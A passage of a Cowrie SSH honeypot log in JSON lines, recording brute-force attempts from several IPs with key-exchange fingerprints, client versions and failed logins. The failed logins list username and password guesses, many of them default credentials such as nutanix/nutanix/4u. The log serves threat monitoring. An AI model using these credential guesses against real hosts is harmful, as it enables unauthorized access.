-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:29.139832Z","src_ip":"45.156.87.147","session":"7fa3333fcae4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:29.343212Z","src_ip":"91.92.42.227","session":"614cb8b51860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:29.351111Z","src_ip":"91.92.42.227","session":"614cb8b51860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dxfUgwfiNcx8","message":"login attempt [root/dxfUgwfiNcx8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:29.393070Z","src_ip":"45.156.87.147","session":"7fa3333fcae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:30.595027Z","src_ip":"45.156.87.147","session":"7fa3333fcae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:31.293444Z","src_ip":"91.92.42.227","session":"0632910395d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47252,"dst_ip":"159.203.135.109","dst_port":22,"session":"13fe4e5c820d","protocol":"ssh","message":"New connection: 27.71.230.31:47252 (159.203.135.109:22) [session: 13fe4e5c820d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:32.456063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:32.989805Z","src_ip":"27.71.230.31","session":"13fe4e5c820d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:34.012272Z","src_ip":"27.71.230.31","session":"13fe4e5c820d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53618,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4d18817ba70","protocol":"ssh","message":"New connection: 91.92.42.227:53618 (10.17.0.5:22) [session: c4d18817ba70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:34.106591Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48542,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef1a279bacf4","protocol":"ssh","message":"New connection: 45.156.87.147:48542 (10.17.0.5:22) [session: ef1a279bacf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:34.877410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:34.885286Z","src_ip":"45.156.87.147","session":"ef1a279bacf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:35.028883Z","src_ip":"45.156.87.147","session":"ef1a279bacf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:35.285713Z","src_ip":"45.156.87.147","session":"ef1a279bacf4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:36.015193Z","src_ip":"91.92.42.227","session":"c4d18817ba70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:36.018149Z","src_ip":"91.92.42.227","session":"c4d18817ba70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:36.372944Z","src_ip":"45.156.87.147","session":"ef1a279bacf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user@1","message":"login attempt [root/user@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:36.472555Z","src_ip":"27.71.230.31","session":"13fe4e5c820d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"qwerty","message":"login attempt [newuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:36.563135Z","src_ip":"91.92.42.227","session":"614cb8b51860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":53016,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8fd3045eb5b","protocol":"ssh","message":"New connection: 103.252.123.105:53016 (159.203.135.109:22) [session: b8fd3045eb5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:37.032417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:37.039001Z","src_ip":"103.252.123.105","session":"b8fd3045eb5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:37.268894Z","src_ip":"103.252.123.105","session":"b8fd3045eb5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anton","password":"anton","message":"login attempt [anton/anton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:38.225729Z","src_ip":"103.252.123.105","session":"b8fd3045eb5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:38.458777Z","src_ip":"27.71.230.31","session":"13fe4e5c820d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:39.343650Z","src_ip":"91.92.42.227","session":"614cb8b51860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:39.458121Z","src_ip":"103.252.123.105","session":"b8fd3045eb5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49236,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd7837dd3f24","protocol":"ssh","message":"New connection: 91.92.42.227:49236 (10.17.0.5:22) [session: cd7837dd3f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:40.847732Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55962,"dst_ip":"10.17.0.5","dst_port":22,"session":"9777fb4ba94b","protocol":"ssh","message":"New connection: 45.156.87.147:55962 (10.17.0.5:22) [session: 9777fb4ba94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:41.026580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:41.029468Z","src_ip":"45.156.87.147","session":"9777fb4ba94b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:41.116053Z","src_ip":"45.156.87.147","session":"9777fb4ba94b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:41.491238Z","src_ip":"45.156.87.147","session":"9777fb4ba94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:42.579313Z","src_ip":"45.156.87.147","session":"9777fb4ba94b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:42.991475Z","src_ip":"91.92.42.227","session":"cd7837dd3f24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:42.995562Z","src_ip":"91.92.42.227","session":"cd7837dd3f24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:44.002455Z","src_ip":"91.92.42.227","session":"c4d18817ba70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:46.687876Z","src_ip":"91.92.42.227","session":"c4d18817ba70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55982,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5ad5abe1e24","protocol":"ssh","message":"New connection: 45.156.87.147:55982 (10.17.0.5:22) [session: d5ad5abe1e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:47.065862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:47.069624Z","src_ip":"45.156.87.147","session":"d5ad5abe1e24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:47.152646Z","src_ip":"45.156.87.147","session":"d5ad5abe1e24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123","message":"login attempt [newuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:47.416637Z","src_ip":"45.156.87.147","session":"d5ad5abe1e24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50100,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe8e0fc19144","protocol":"ssh","message":"New connection: 91.92.42.227:50100 (10.17.0.5:22) [session: fe8e0fc19144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:48.352824Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:48.502604Z","src_ip":"45.156.87.147","session":"d5ad5abe1e24","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:49.801929Z","src_ip":"91.92.42.227","session":"fe8e0fc19144","protocol":"ssh"}
